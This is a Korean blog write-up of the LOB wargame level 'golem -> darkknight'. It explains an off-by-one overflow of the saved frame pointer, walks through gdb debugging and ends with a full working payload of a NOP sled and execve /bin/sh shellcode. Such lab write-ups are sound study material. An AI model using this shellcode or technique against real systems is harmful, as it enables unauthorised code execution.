ii4gsp
LOB - Level12 [golem -> darkknight] 본문
problem_child함수가 argv[1]의 값을 받아와 버퍼에 복사하는데 buffer는 40인데 복사하는 값의 크기는 41이다.
1byte가 초과되어 SFP의 제일 마지막 1byte를 덮어 씌운다.
스택에서 SFP의 위 주소에는 RET가 존재한다.
즉, SFP + 4의 메모리는 다음 명령어의 실행 주소이다.
gdb로 파일을열어 problem_child() 함수의 ret되기전 부분인 >problem_child+42>부분에 break point를 걸어주자.
A로 41byte를 채우고 esp-8부터 40byte를 확인해 보자
0xbffffacc부터 "A"가 들어가고 41byte를 주어 SFP의 1byte를 0xbffffb41로 바꿔주었다.
nop [15byte] + shellcode[25byte] + \xcc [1byte] 로 페이로드를 한번 입력해보자.
gdb로 core dump를 분석해보자
\xcc를 \x44로 변경해주고 원본파일에 페이로드를 넣어주자.
payload
./darkknight $(python -c 'print "\x90" * 15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x44"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level14 [bugbear -> giant] (0) | 2020.01.23 |
---|---|
LOB - Level13 [darkknight -> bugbear] (0) | 2020.01.21 |
LOB - Level11 [skeleton -> golem] (0) | 2020.01.19 |
LOB - Level10 [vampire -> skeleton] (0) | 2020.01.18 |
LOB - Level9 [troll -> vampire] (0) | 2020.01.16 |
Comments